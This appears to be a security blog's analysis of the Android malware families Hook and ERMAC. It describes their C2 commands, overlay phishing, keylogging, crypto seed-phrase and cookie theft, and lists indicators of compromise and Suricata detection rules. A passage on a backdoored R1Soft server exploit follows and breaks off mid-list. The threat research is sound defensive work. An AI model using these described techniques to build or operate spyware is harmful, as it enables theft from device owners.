Hook 2	send_sms_many	Sends an SMS message to multiple phone numbers
Hook 2	addwaitview	Displays a “wait / loading” view with a progress bar, custom background colour, text colour, and text to be displayed
Hook 2	removewaitview	Removes a “RelativeLayout” view group, which displays child views together in relative positions. More specifically: this command removes the “wait / loading” view that is displayed on the victim’s device as a result of the “addwaitview” command
Hook 2	addview	Adds a new view with a black background that covers the entire screen
Hook 2	removeview	Removes a “LinearLayout” view group, which arranges other views either horizontally in a single column or vertically in a single row. More specifically: this command removes the view with the black background that was added by the “addview” command
Hook 2	cookie	Steals session cookies (targets victim’s Google account)
Hook 2	safepal	Starts the Safepal Wallet application (and steals seed phrases as a result of starting this application, as observed during analysis of the accessibility service)
Hook 2	exodus	Starts the Exodus Wallet application (and steals seed phrases as a result of starting this application, as observed during analysis of the accessibility service)
Hook 2	takephoto	Takes a photo of the victim using the front facing camera

References

[1] – https://www.threatfabric.com/blogs/hook-a-new-ermac-fork-with-rat-capabilities
[2] – https://cebrf.knf.gov.pl/komunikaty/artykuly-csirt-knf/362-ostrzezenia/858-hookbot-a-new-mobile-malware
[3] – https://socket.io/docs/v4/

Authored by Joshua Kamp (main author) and Alberto Segura.

Summary

Hook and ERMAC are Android based malware families that are both advertised by the actor named “DukeEugene”. Hook is the latest variant to be released by this actor and was first announced at the start of 2023. In this announcement, the actor claims that Hook was written from scratch [1]. In our research, we have analysed two samples of Hook and two samples of ERMAC to further examine the technical differences between these malware families.

After our investigation, we concluded that the ERMAC source code was used as a base for Hook. All commands (30 in total) that the malware operator can send to a device infected with ERMAC malware, also exist in Hook. The code implementation for these commands is nearly identical. The main features in ERMAC are related to sending SMS messages, displaying a phishing window on top of a legitimate app, extracting a list of installed applications, SMS messages and accounts, and automated stealing of recovery seed phrases for multiple cryptocurrency wallets.

Hook has introduced a lot of new features, with a total of 38 additional commands when comparing the latest version of Hook to ERMAC. The most interesting new features in Hook are: streaming the victim’s screen and interacting with the interface to gain complete control over an infected device, the ability to take a photo of the victim using their front facing camera, stealing of cookies related to Google login sessions, and the added support for stealing recovery seeds from additional cryptocurrency wallets.

Hook had a relatively short run. It was first announced on the 12th of January 2023, and the closing of the project was announced on April 19th, 2023, due to “leaving for special military operation”. On May 11th, 2023, the actors claimed that the source code of Hook was sold at a price of $70.000. If these announcements are true, it could mean that we will see interesting new versions of Hook in the future.

The launch of Hook

On the 12th of January 2023, DukeEugene started advertising a new Android botnet to be available for rent: Hook.

Hook malware is designed to steal personal information from its infected users. It contains features such as keylogging, injections/overlay attacks to display phishing windows over (banking) apps (more on this in the “Overlay attacks” section of this blog), and automated stealing of cryptocurrency recovery seeds.

Financial gain seems to be the main motivator for operators that rent Hook, but the malware can be used to spy on its victims as well. Hook is rented out at a cost of $7.000 per month.

The malware was advertised with a wide range of functionality in both the control panel and build itself, and a snippet of this can be seen in the screenshot below.

Command comparison

Analyst’s note: The package names and file hashes that were analysed for this research can be found in the “Analysed samples” section at the end of this blog post.

While checking out the differences in these malware families, we compared the C2 commands (instructions that are sent by the malware operator to the infected device) in each sample. This analysis did lead us to find several new commands and features on Hook, as can be seen just looking at the number of commands implemented in each variant.

Sample	Number of commands
Hook sample #1	58
Hook sample #2	68
Ermac sample #1 & #2	30

All 30 commands that exist in ERMAC also exist in Hook. Most of these commands are related to sending SMS messages, updating and starting injections, extracting a list of installed applications, SMS messages and accounts, and starting another app on the victim’s device (where cryptocurrency wallet apps are the main target). While simply launching another app may not seem that malicious at first, you will think differently after learning about the automated features in these malware families.

Both Hook and ERMAC contain automated functionality for stealing recovery seeds from cryptocurrency wallets. These can be used to gain access to the victim’s cryptocurrency. We will dive deeper into this feature later in the blog.

When comparing Hook to ERMAC, 29 new commands have been added to the first sample of Hook that we analysed, and the latest version of Hook contains 9 additional commands on top of that. Most of the commands that were added in Hook are related to interacting with the user interface (UI).

Hook command: start_vnc

The UI interaction related commands (such as “clickat” to click on a specific UI element and “longpress” to dispatch a long press gesture) in Hook go hand in hand with the new “start_vnc” command, which starts streaming the victim’s screen.

In the code snippet above we can see that the createScreenCaptureIntent() method is called on the MediaProjectionManager, which is necessary to start screen capture on the device. Along with the many commands to interact with the UI, this allows the malware operator to gain complete control over an infected device and perform actions on the victim’s behalf.

Command implementation

For the commands that are available in both ERMAC and Hook, the code implementation is nearly identical. Take the “logaccounts” command for example:

This command is used to obtain a list of available accounts by their name and type on the victim’s device. When comparing the code, it’s clear that the logging messages are the main difference. This is the case for all commands that are present in both ERMAC and Hook.

Russian commands

Both ERMAC and the Hook v1 sample that we analysed contain some rather edgy commands in Russian, that do not provide any useful functionality.

The command above translates to “Die_he_who_reversed_this“.

All the Russian commands create a file named “system.apk” in the “apk” directory and immediately deletes it. It appears that the authors have recently adapted their approach to managing a reputable business, as these commands were removed in the latest Hook sample that we analysed.

New commands in Hook V2

In the latest versions of Hook, the authors have added 9 additional commands compared to the first Hook sample that we analysed. These commands are:

Command	Description
send_sms_many	Sends an SMS message to multiple phone numbers
addwaitview	Displays a “wait / loading” view with a progress bar, custom background colour, text colour, and text to be displayed
removewaitview	Removes the “wait / loading” view that is displayed on the victim’s device because of the “addwaitview” command
addview	Adds a new view with a black background that covers the entire screen
removeview	Removes the view with the black background that was added by the “addview” command
cookie	Steals session cookies (targets victim’s Google account)
safepal	Starts the Safepal Wallet application (and steals seed phrases as a result of starting this application, as observed during analysis of the accessibility service)
exodus	Starts the Exodus Wallet application (and steals seed phrases as a result of starting this application, as observed during analysis of the accessibility service)
takephoto	Takes a photo of the victim using the front facing camera

One of the already existing commands, “onkeyevent”, also received a new payload option: “double_tap”. As the name suggests, this performs a double tap gesture on the victim’s screen, providing the malware operator with extra functionality to interact with the victim’s device user interface.

More interesting additions are: the support for stealing recovery seed phrases from other crypto wallets (Safepal and Exodus), taking a photo of the victim, and stealing session cookies. Session cookie stealing appears to be a popular trend in Android malware, as we have observed this feature being added to multiple malware families. This is an attractive feature, as it allows the actor to gain access to user accounts without needing the actual login credentials.

Device Admin abuse

Besides adding new commands, the authors have added more functionality related to the “Device Administration API” in the latest version of Hook. This API was developed to support enterprise apps in Android. When an app has device admin privileges, it gains additional capabilities meant for managing the device. This includes the ability to enforce password policies, locking the screen and even wiping the device remotely. As you may expect: abuse of these privileges is often seen in Android malware.

DeviceAdminReceiver and policies

To implement custom device admin functionality in a new class, it should extend the “DeviceAdminReceiver”. This class can be found by examining the app’s Manifest file and searching for the receiver with the “BIND_DEVICE_ADMIN” permission or the “DEVICE_ADMIN_ENABLED” action.

In the screenshot above, you can see an XML file declared as follows: android:resource=”@xml/buyanigetili. This file will contain the device admin policies that can be used by the app. Here’s a comparison of the device admin policies in ERMAC, Hook 1, and Hook 2:

Comparing Hook to ERMAC, the authors have removed the “WIPE_DATA” policy and added the “RESET_PASSWORD” policy in the first version of Hook. In the latest version of Hook, the “DISABLE_KEYGUARD_FEATURES” and “WATCH_LOGIN” policies were added. Below you’ll find a description of each policy that is seen in the screenshot.

Device Admin Policy	Description
USES_POLICY_FORCE_LOCK	The app can lock the device
USES_POLICY_WIPE_DATA	The app can factory reset the device
USES_POLICY_RESET_PASSWORD	The app can reset the device’s password/pin code
USES_POLICY_DISABLE_KEYGUARD_FEATURES	The app can disable use of keyguard (lock screen) features, such as the fingerprint scanner
USES_POLICY_WATCH_LOGIN	The app can watch login attempts from the user

The “DeviceAdminReceiver” class in Android contains methods that can be overridden. This is done to customise the behaviour of a device admin receiver. For example: the “onPasswordFailed” method in the DeviceAdminReceiver is called when an incorrect password is entered on the device. This method can be overridden to perform specific actions when a failed login attempt occurs. In ERMAC and Hook 1, the class that extends the DeviceAdminReceiver only overrides the onReceive() method and the implementation is minimal:

The onReceive() method is the entry point for broadcasts that are intercepted by the device admin receiver. In ERMAC and Hook 1 this only performs a check to see whether the received parameters are null and will throw an exception if they are.

DeviceAdminReceiver additions in latest version of Hook

In the latest edition of Hook, the class to extend the DeviceAdminReceiver does not just override the “onReceive” method. It also overrides the following methods:

Device Admin Method	Description
onDisableRequested()	Called when the user attempts to disable device admin. Gives the developer a chance to present a warning message to the user
onDisabled()	Called prior to device admin being disabled. Upon return, the app can no longer use the protected parts of the DevicePolicyManager API
onEnabled()	Called after device admin is first enabled. At this point, the app can use “DevicePolicyManager” to set the desired policies
onPasswordFailed()	Called when the user has entered an incorrect password for the device
onPasswordSucceeded()	Called after the user has entered a correct password for the device

When the victim attempts to disable device admin, a warning message is displayed that contains the text “Your mobile is die”.

The fingerprint scanner will be disabled when an incorrect password was entered on the victim’s device. Possibly to make it easier to break into the device later, by forcing the victim to enter their PIN and capturing it.

All keyguard (lock screen) features are enabled again when a correct password was entered on the victim’s device.

Overlay attacks

Overlay attacks, also known as injections, are a popular tactic to steal credentials on Android devices. When an app has permission to draw overlays, it can display content on top of other apps that are running on the device. This is interesting for threat actors, because it allows them to display a phishing window over a legitimate app. When the victim enters their credentials in this window, the malware will capture them.

Both ERMAC and Hook use web injections to display a phishing window as soon as it detects a targeted app being launched on the victim’s device.

In the screenshot above, you can see how ERMAC and Hook set up a WebView component and load the HTML code to be displayed over the target app by calling webView5.loadDataWithBaseURL(null, s6, “text/html”, “UTF-8”, null) and this.setContentView() on the WebView object. The “s6” variable will contain the data to be loaded. The main functionality is the same for both variants, with Hook having some additional logging messages.

The importance of accessibility services

Accessibility Service abuse plays an important role when it comes to web injections and other automated feature in ERMAC and Hook. Accessibility services are used to assist users with disabilities, or users who may temporarily be unable to fully interact with their Android device. For example: users that are driving might need additional or alternative interface feedback. Accessibility services run in the background and receive callbacks from the system when AccessibilityEvent is fired. Apps with accessibility service can have full visibility over UI events, both from the system and from 3rd party apps. They can receive notifications, they can get the package name, list UI elements, extract text, and more. While these services are meant to assist users, they can also be abused by malicious apps for activities such as: keylogging, automatically granting itself additional permissions, and monitoring foreground apps and overlaying them with phishing windows.

When ERMAC or Hook malware is first launched, it prompts the victim with a window that instructs them to enable accessibility services for the malicious app.

A warning message is displayed before enabling the accessibility service, which shows what actions the app will be able to perform when this is enabled.

With accessibility services enabled, ERMAC and Hook malware automatically grants itself additional permissions such as permission to draw overlays. The onAccessibilityEvent() method monitors the package names from received accessibility events, and the web injection related code will be executed when a target app is launched.

Targeted applications

When the infected device is ready to communicate with the C2 server, it sends a list of applications that are currently installed on the device. The C2 server then responds with the target apps that it has injections for. While dynamically analysing the latest version of Hook, we sent a custom HTTP request to the C2 server to make it believe that we have a large amount of apps (700+) installed. For this, we used the list of package names that CSIRT KNF had shared in an analysis report of Hook [2].

The server responded with the list of target apps that the malware can display phishing windows for. Most of the targeted apps in both Hook and ERMAC are related to banking.

Keylogging

Keylogging functionality can be found in the onAccessibilityEvent() method of both ERMAC and Hook. For every accessibility event type that is triggered on the infected device, a method is called that contains keylogger functionality. This method then checks what the accessibility event type was to label the log and extracts the text from it. Comparing the code implementation of keylogging in ERMAC to Hook, there are some slight differences in the accessibility event types that it checks for. But the main functionality of extracting text and sending it to the C2 with a certain label is the same.

The ERMAC keylogger contains an extra check for accessibility event “TYPE_VIEW_SELECTED” (triggered when a user selects a view, such as tapping on a button). Accessibility services can extract information about a selected view, such as the text, and that is exactly what is happening here.

Hook specifically checks for two other accessibility events: the “TYPE_WINDOW_STATE_CHANGED” event (triggered when the state of an active window changes, for example when a new window is opened) or the “TYPE_WINDOW_CONTENT_CHANGED” event (triggered when the content within a window changes, like when the text within a window is updated).

It checks for these events in combination with the content change type

“CONTENT_CHANGE_TYPE_TEXT” (indicating that the text of an UI element has changed). This tells us that the accessibility service is interested in changes of the textual content within a window, which is not surprising for a keylogger.

Stealing of crypto wallet seed phrases

Automatic stealing of recovery seeds from crypto wallets is one of the main features in ERMAC and Hook. This feature is actively developed, with support added for extra crypto wallets in the latest version of Hook.

For this feature, the accessibility service first checks if a crypto wallet app has been opened. Then, it will find UI elements by their ID (such as “com.wallet.crypto.trustapp:id/wallets_preference” and “com.wallet.crypto.trustapp:id/item_wallet_info_action”) and automatically clicks on these elements until it navigated to the view that contains the recovery seed phrase. For the crypto wallet app, it will look like the user is browsing to this phrase by themselves.

Once the window with the recovery seed phrase is reached, it will extract the words from the recovery seed phrase and send them to the C2 server.

The main implementation is the same in ERMAC and Hook for this feature, with Hook containing some extra logging messages and support for stealing seed phrases from additional cryptocurrency wallets.

Replacing copied crypto wallet addresses

Besides being able to automatically steal recovery seeds from opened crypto wallet apps, ERMAC and Hook can also detect whether a wallet address has been copied and replaces the clipboard with their own wallet address. It does this by monitoring for the “TYPE_VIEW_TEXT_CHANGED” event, and checking whether the text matches a regular expression for Bitcoin and Ethereum wallet addresses. If it matches, it will replace the clipboard text with the wallet address of the threat actor.

The wallet addresses that the actors use in both ERMAC and Hook are bc1ql34xd8ynty3myfkwaf8jqeth0p4fxkxg673vlf for Bitcoin and 0x3Cf7d4A8D30035Af83058371f0C6D4369B5024Ca for Ethereum. It’s worth mentioning that these wallet addresses are the same in all samples that we analysed. It appears that this feature has not been very successful for the actors, as they have received only two transactions at the time of writing.

Since the feature has been so unsuccessful, we assume that both received transactions were initiated by the actors themselves. The latest transaction was received from a verified Binance exchange wallet, and it’s unlikely that this comes from an infected device. The other transaction comes from a wallet that could be owned by the Hook actors.

Stealing of session cookies

The “cookie” command is exclusive to Hook and was only added in the latest version of this malware. This feature allows the malware operator to steal session cookies in order to take over the victim’s login session. To do so, a new WebViewClient is set up. When the victim has logged onto their account, the onPageFinished() method of the WebView will be called and it sends the stolen cookies to the C2 server.

All cookie stealing code is related to Google accounts. This is in line with DukeEugene’s announcement of new features that were posted about on April 1st, 2023. See #12 in the screenshot below.

C2 communication protocol

HTTP in ERMAC

ERMAC is known to use the HTTP protocol for communicating with the C2 server, where data is encrypted using AES-256-CBC and then Base64 encoded. The bot sends HTTP POST requests to a randomly generated URL that ends with “.php/” (note that the IP of the C2 server remains the same).

WebSockets in Hook

The first editions of Hook introduced WebSocket communication using Socket.IO, and data is encrypted using the same mechanism as in ERMAC. The Socket.IO library is built on top of the WebSocket protocol and offers low-latency, bidirectional and event-based communication between a client and a server. Socket.IO provides additional guarantees such as fallback to the HTTP protocol and automatic reconnection [3].

The screenshot above shows that the login command was issued to the server, with the user ID of the infected device being sent as encrypted data. The “42” at the beginning of the message is standard in Socket.IO, where the “4” stands for the Engine.IO “message” packet type and the “2” for Socket.IO’s “message” packet type [3].

Mix and match – Protocols in latest versions of Hook

The latest Hook version that we’ve analysed contains the ERMAC HTTP protocol implementation, as well as the WebSocket implementation which already existed in previous editions of Hook. The Hook code snippet below shows that it uses the exact same code implementation as observed in ERMAC to build the URLs for HTTP requests.

Both Hook and ERMAC use the “checkAP” command to check for commands sent by the C2 server. In the screenshot below, you can see that the malware operator sent the “killme” command to the infected device to uninstall Hook. This shows that the ERMAC HTTP protocol is actively used in the latest versions of Hook, together with the already existing WebSocket implementation.

C2 servers

During our investigation into the technical differences between Hook and ERMAC, we have also collected C2 servers related to both families. From these servers, Russia is clearly the preferred country for hosting Hook and ERMAC C2s. We have identified a total of 23 Hook C2 servers that are hosted in Russia.

Other countries that we have found ERMAC and Hook are hosted in are:

• The Netherlands
• United Kingdom
• United States
• Germany
• France
• Korea
• Japan

The end?

On the 19th of April 2023, DukeEugene announced that they are closing the Hook project due to leaving for “special military operation”. The actor mentions that the coder of the Hook project, who goes by the nickname “RedDragon”, will continue to support their clients until their lease runs out.

Two days prior to this announcement, the coder of Hook created a post stating that the source code of Hook is for sale at a price of $70.000. Nearly a month later, on May 11th, the coder asked if the thread could be closed as the source code was sold.

Observations

In the “Replacing copied crypto wallet addresses” section of this blog, we mentioned that the first received transaction comes from an Ethereum wallet address that could possibly be owned by the Hook actors. We noticed that this wallet received a transaction of roughly $25.000 the day after Hook was announced sold. This could be a coincidence, but the fact that this wallet was also the first to send (a small amount of) money to the Ethereum address that is hardcoded in Hook and ERMAC makes us suspect this.

We can’t verify whether the messages from DukeEugene and RedDragon are true. But if they are, we expect to see interesting new forks of Hook in the future.

In this blog we’ve debunked DukeEugene’s statement of Hook being fully developed from scratch. Additionally, in DukeEugene’s advertisement of HookBot we see a screenshot of the Hook panel that seemed to show similarities with ERMAC’s panel.

Conclusion

While the actors of Hook had announced that the malware was written from scratch, it is clear that the ERMAC source code was used as a base. All commands that are present in ERMAC also exist in Hook, and the code implementation of these commands is nearly identical in both malware families. Both Hook and ERMAC contain typical features to steal credentials which are common in Android malware, such as overlay attacks/injections and keylogging. Perhaps a more interesting feature that exists in both malware families is the automated stealing of recovery seeds from cryptocurrency wallets.

While Hook was not written completely from scratch, the authors have added interesting new features compared to ERMAC. With the added capability of being able to stream the victim’s screen and interacting with the UI, operators of Hook can gain complete control over infected devices and perform actions on the user’s behalf. Other interesting new features include the ability to take a photo of the victim using their front facing camera, stealing of cookies related to Google login sessions, and the added support for stealing recovery seeds from additional cryptocurrency wallets.

Besides these new features, significant changes were made in the protocol for communicating with the C2 server. The first versions of Hook introduced WebSocket communication using the Socket.IO library. The latest version of Hook added the HTTP protocol implementation that was already present in ERMAC and can use this next to WebSocket communication.

Hook had a relatively short run. It was first announced on the 12th of January 2023, and the closing of the project was announced on April 19th, 2023, with the actor claiming that he is leaving for “special military operation”. The coder of Hook has allegedly put the source code up for sale at a price of $70,000 and stated that it was sold on May 11th, 2023. If these announcements are true, it could mean that we will see interesting new forks of Hook in the future.

Indicators of Compromise

Analysed samples

Family	Package name	File hash (SHA-256)
Hook	com.lojibiwawajinu.guna	c5996e7a701f1154b48f962d01d457f9b7e95d9c3dd9bbd6a8e083865d563622
Hook	com.wawocizurovi.gadomi	d651219c28eec876f8961dcd0a0e365df110f09b7ae72eccb9de8c84129e23cb
ERMAC	com.cazojowiruje.tutado	e0bd84272ea93ea857cc74a745727085cf214eef0b5dcaf3a220d982c89cea84
ERMAC	com.jakedegivuwuwe.yewo	6d8707da5cb71e23982bd29ac6a9f6069d6620f3bc7d1fd50b06e9897bc0ac50

C2 servers

Family	IP address
Hook	5.42.199[.]22
Hook	45.81.39[.]149
Hook	45.93.201[.]92
Hook	176.100.42[.]11
Hook	91.215.85[.]223
Hook	91.215.85[.]37
Hook	91.215.85[.]23
Hook	185.186.246[.]69
ERMAC	5.42.199[.]91
ERMAC	31.41.244[.]187
ERMAC	45.93.201[.]92
ERMAC	92.243.88[.]25
ERMAC	176.113.115[.]66
ERMAC	165.232.78[.]246
ERMAC	51.15.150[.]5
ERMAC	176.100.42[.]11
ERMAC	91.215.85[.]22
ERMAC	35.91.53[.]224
ERMAC	193.106.191[.]148
ERMAC	20.249.63[.]72
ERMAC	62.204.41[.]98
ERMAC	193.106.191[.]121
ERMAC	193.106.191[.]116
ERMAC	176.113.115[.]150
ERMAC	91.213.50[.]62
ERMAC	193.106.191[.]118
ERMAC	5.42.199[.]3
ERMAC	193.56.146[.]176
ERMAC	62.204.41[.]94
ERMAC	176.113.115[.]67
ERMAC	108.61.166[.]245
ERMAC	45.159.248[.]25
ERMAC	20.108.0[.]165
ERMAC	20.210.252[.]118
ERMAC	68.178.206[.]43
ERMAC	35.90.154[.]240

Network detection

The following Suricata rules were tested successfully against Hook network traffic:

	# Detection for Hook/ERMAC mobile malware
	alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"FOX-SRT – Mobile Malware – Possible Hook/ERMAC HTTP POST"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/php/"; depth:5; content:".php/"; isdataat:!1,relative; fast_pattern; pcre:"/^\/php\/[a-z0-9]{1,21}\.php\/$/U"; classtype:trojan-activity; priority:1; threshold:type limit,track by_src,count 1,seconds 3600; metadata:ids suricata; metadata:created_at 2023-06-02; metadata:updated_at 2023-06-07; sid:21004440; rev:2;)
	alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"FOX-SRT – Mobile Malware – Possible Hook Websocket Packet Observed (login)"; content:"|81|"; depth:1; byte_test:1,&,0x80,1; luajit:hook.lua; classtype:trojan-activity; priority:1; threshold:type limit,track by_src,count 1,seconds 3600; metadata:ids suricata; metadata:created_at 2023-06-02; metadata:updated_at 2023-06-07; sid:21004441; rev:2;)

view raw hook.rules hosted with ❤ by GitHub

The second Suricata rule uses an additional Lua script, which can be found here

List of Commands

Family	Command	Description
ERMAC, Hook 1 & 2	sendsms	Sends a specified SMS message to a specified number. If the SMS message is too large, it will send the message in multiple parts
ERMAC, Hook 1 & 2	startussd	Executes a given USSD code on the victim’s device
ERMAC, Hook 1 & 2	forwardcall	Sets up a call forwarder to forward all calls to the specified number in the payload
ERMAC, Hook 1 & 2	push	Displays a push notification on the victim’s device, with a custom app name, title, and text to be edited by the malware operator
ERMAC, Hook 1 & 2	getcontacts	Gets list of all contacts on the victim’s device
ERMAC, Hook 1 & 2	getaccounts	Gets a list of the accounts on the victim’s device by their name and account type
ERMAC, Hook 1 & 2	logaccounts	Gets a list of the accounts on the victim’s device by their name and account type
ERMAC, Hook 1 & 2	getinstallapps	Gets a list of the installed apps on the victim’s device
ERMAC, Hook 1 & 2	getsms	Steals all SMS messages from the victim’s device
ERMAC, Hook 1 & 2	startinject	Performs a phishing overlay attack against the given application
ERMAC, Hook 1 & 2	openurl	Opens the specified URL
ERMAC, Hook 1 & 2	startauthenticator2	Starts the Google Authenticator app
ERMAC, Hook 1 & 2	trust	Launches the Trust Wallet app
ERMAC, Hook 1 & 2	mycelium	Launches the Mycelium Wallet app
ERMAC, Hook 1 & 2	piuk	Launches the Blockchain Wallet app
ERMAC, Hook 1 & 2	samourai	Launches the Samourai Wallet app
ERMAC, Hook 1 & 2	bitcoincom	Launches the Bitcoin Wallet app
ERMAC, Hook 1 & 2	toshi	Launches the Coinbase Wallet app
ERMAC, Hook 1 & 2	metamask	Launches the Metamask Wallet app
ERMAC, Hook 1 & 2	sendsmsall	Sends a specified SMS message to all contacts on the victim’s device. If the SMS message is too large, it will send the message in multiple parts
ERMAC, Hook 1 & 2	startapp	Starts the app specified in the payload
ERMAC, Hook 1 & 2	clearcash	Sets the “autoClickCache” shared preference key to value 1, and launches the “Application Details” setting for the specified app (probably to clear the cache)
ERMAC, Hook 1 & 2	clearcache	Sets the “autoClickCache” shared preference key to value 1, and launches the “Application Details” setting for the specified app (probably to clear the cache)
ERMAC, Hook 1 & 2	calling	Calls the number specified in the “number” payload, tries to lock the device and attempts to hide and mute the application
ERMAC, Hook 1 & 2	deleteapplication	Uninstalls a specified application
ERMAC, Hook 1 & 2	startadmin	Sets the “start_admin” shared preference key to value 1, which is probably used as a check before attempting to gain Device Admin privileges (as seen in Hook samples)
ERMAC, Hook 1 & 2	killme	Stores the package name of the malicious app in the “killApplication” shared preference key, in order to uninstall it. This is the kill switch for the malware
ERMAC, Hook 1 & 2	updateinjectandlistapps	Gets a list of the currently installed apps on the victim’s device, and downloads the injection target lists
ERMAC, Hook 1 & 2	gmailtitles	Sets the “gm_list” shared preference key to the value “start” and starts the Gmail app
ERMAC, Hook 1 & 2	getgmailmessage	Sets the “gm_mes_command” shared preference key to the value “start” and starts the Gmail app
Hook 1 & 2	start_vnc	Starts capturing the victim’s screen constantly (streaming)
Hook 1 & 2	stop_vnc	Stops capturing the victim’s screen constantly (streaming)
Hook 1 & 2	takescreenshot	Takes a screenshot of the victim’s device (note that it starts the same activity as for the “start_vnc” command, but it does so without the extra “streamScreen” set to true to only take one screenshot)
Hook 1 & 2	swipe	Performs a swipe gesture with the specified 4 coordinates
Hook 1 & 2	swipeup	Perform a swipe up gesture
Hook 1 & 2	swipedown	Performs a swipe down gesture
Hook 1 & 2	swipeleft	Performs a swipe left gesture
Hook 1 & 2	swiperight	Performs a swipe right gesture
Hook 1 & 2	scrollup	Performs a scroll up gesture
Hook 1 & 2	scrolldown	Performs a scroll down gesture
Hook 1 & 2	onkeyevent	Performs a certain action depending on the specified key payload (POWER DIALOG, BACK, HOME, LOCK SCREEN, or RECENTS
Hook 1 & 2	onpointerevent	Sets X and Y coordinates and performs an action based on the payload text provided. Three options: “down”, “continue”, and “up”. It looks like these payload texts work together, as in: it first sets the starting coordinates where it should press down, then it sets the coordinates where it should draw a line to from the previous starting coordinates, then it performs a stroke gesture using this information
Hook 1 & 2	longpress	Dispatches a long press gesture at the specified coordinates
Hook 1 & 2	tap	Dispatches a tap gesture at the specified coordinates
Hook 1 & 2	clickat	Clicks at a specific UI element
Hook 1 & 2	clickattext	Clicks on the UI element with a specific text value
Hook 1 & 2	clickatcontaintext	Clicks on the UI element that contains the payload text
Hook 1 & 2	cuttext	Replaces the clipboard on the victim’s device with the payload text
Hook 1 & 2	settext	Sets a specified UI element to the specified text
Hook 1 & 2	openapp	Opens the specified app
Hook 1 & 2	openwhatsapp	Sends a message through Whatsapp to the specified number
Hook 1 & 2	addcontact	Adds a new contact to the victim’s device
Hook 1 & 2	getcallhistory	Gets a log of the calls that the victim made
Hook 1 & 2	makecall	Calls the number specified in the payload
Hook 1 & 2	forwardsms	Sets up an SMS forwarder to forward the received and sent SMS messages from the victim device to the specified number in the payload
Hook 1 & 2	getlocation	Gets the geographic coordinates (latitude and longitude) of the victim
Hook 1 & 2	getimages	Gets list of all images on the victim’s device
Hook 1 & 2	downloadimage	Downloads an image from the victim’s device
Hook 1 & 2	fmmanager	Either lists the files at a specified path (additional parameter “ls”), or downloads a file from the specified path (additional parameter “dl”)
Hook 2	send_sms_many	Sends an SMS message to multiple phone numbers
Hook 2	addwaitview	Displays a “wait / loading” view with a progress bar, custom background colour, text colour, and text to be displayed
Hook 2	removewaitview	Removes a “RelativeLayout” view group, which displays child views together in relative positions. More specifically: this command removes the “wait / loading” view that is displayed on the victim’s device as a result of the “addwaitview” command
Hook 2	addview	Adds a new view with a black background that covers the entire screen
Hook 2	removeview	Removes a “LinearLayout” view group, which arranges other views either horizontally in a single column or vertically in a single row. More specifically: this command removes the view with the black background that was added by the “addview” command
Hook 2	cookie	Steals session cookies (targets victim’s Google account)
Hook 2	safepal	Starts the Safepal Wallet application (and steals seed phrases as a result of starting this application, as observed during analysis of the accessibility service)
Hook 2	exodus	Starts the Exodus Wallet application (and steals seed phrases as a result of starting this application, as observed during analysis of the accessibility service)
Hook 2	takephoto	Takes a photo of the victim using the front facing camera

References

[1] – https://www.threatfabric.com/blogs/hook-a-new-ermac-fork-with-rat-capabilities
[2] – https://cebrf.knf.gov.pl/komunikaty/artykuly-csirt-knf/362-ostrzezenia/858-hookbot-a-new-mobile-malware
[3] – https://socket.io/docs/v4/

Blog updated on 3 March 2023 to (i) remove a table containing data created on 09-01-23, more than one month earlier than publication of the original blog on 22-02-23 entitled ‘Backdoored ConnectWise R1Soft Server Backup Manager by Autonomous System Organization (Top 20 as of 2023-01-09)’; (ii) update a table containing data created on 09-01-23 entitled ‘Backdoored ConnectWise R1Soft Server Backup Manager by Country (Top 20 as of 2023-01-09); and (iii) minor incidental updates.

During a recent incident response case, we found traces of an adversary leveraging ConnectWise R1Soft Server Backup Manager software (hereinafter: R1Soft server software). The adversary used it as an initial point of access and as a platform to control downstream systems connected via the R1Soft Backup Agent. This agent is installed on systems to support being backed up by the R1Soft server software and typically runs with high privileges. This means that after the adversary initially gained access via the R1Soft server software it was able to execute commands on all systems running the agent connected to this R1Soft server.

The adversary exploited the R1Soft server software via CVE-2022-36537 [1] [2], which is a vulnerability in the ZK Java Framework that R1Soft Server Backup Manager utilises. The “ZK” Framework is an opensource Java framework for building enterprise web and mobile applications. After successfully exploiting the vulnerability, the adversary deployed a malicious database driver with backdoor functionalities.

Further research by us indicates that world-wide exploitation of R1Soft server software started around the end of November 2022. With the help of fingerprinting, we have identified multiple compromised hosting providers globally. On 9 January 2023, we identified a total of 286 servers running R1Soft server software with a specific backdoor. Fox-IT informed the Dutch NCSC to coordinate the sharing of this knowledge towards the relevant national CERTs on 12 January 2023. 

Given the global scope of compromise, our aim is to spread awareness about the severity of this threat. This blog will describe the malicious driver that was deployed by leveraging the vulnerability and how to check if your systems are affected. A table with IOCs can be found at the end of this post which can be used to correlate against the data sources within your environment. 

R1Soft server software exploitation via ZK Framework 

In October 2022, security company Huntress published about the CVE-2022-36537 vulnerability in the ZK Framework [3]. They stated that this vulnerability can be abused to bypass authentication and lead to remote code execution (RCE) in R1Soft server software and its connected backup agents. 

On 9 December 2022, proof-of-concept exploits started to appear on the internet for this vulnerability [4] [5] [6]. We traced back the earliest exploitation of this bug within our client’s environment to 29 November 2022. 

Indicators of successful exploitation 

The R1Soft server software has the option to upload a new database driver. This loads a new Java Database Connector (JDBC) and it is exactly this component that is abused by the adversary to load a malicious JDBC driver. 

When the malicious JDBC driver is loaded by the R1Soft server software it will create a log entry in {r1soft_install_location}/log/server.log. This can be used to verify that the malicious driver was loaded into the application when successfully exploited. Below is an example of such a log entry which was encountered during the incident response case: 

2022-11-29 12:06:03,654 INFO - <UI> Host: 45.159.248[.]213; Imported CDPServer [Id:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx] The MySQL database driver was uploaded successfully

We found multiple malicious r1soft-cdp-server-mysql-driver*.jar files in the /tmp folder of the R1Soft servers during the incident response case. This is an artefact of uploading a new database driver to R1Soft servers. Analysis shows that the timestamp of the Driver.class in the JAR file matches the time of exploitations. This indicates that the JAR file is automatically generated during the exploitation process. 

During the incident response case, we found traces of the adversary dropping the malicious JDBC driver in {r1soft_install_location}/bin/mysql.jar on the R1Soft server. 

The following IP addresses were found in the server.log file exploiting the vulnerability in the R1Soft server software within the client’s environment: 

• 5.8.33[.]147
• 45.61.139[.]187
• 45.159.248[.]213
• 77.91.101[.]140
• 142.11.195[.]29

Malicious database driver 

The dropped malicious JDBC driver by the adversary creates upon execution a new web filter with the name fa0sifjasfjai0fja and URL pattern /zkau/jquery. Once the malicious JDBC driver has been registered, it starts listening for incoming requests and it has the following functionalities: 

• Load new functionalities in memory. 
• Command execution. 

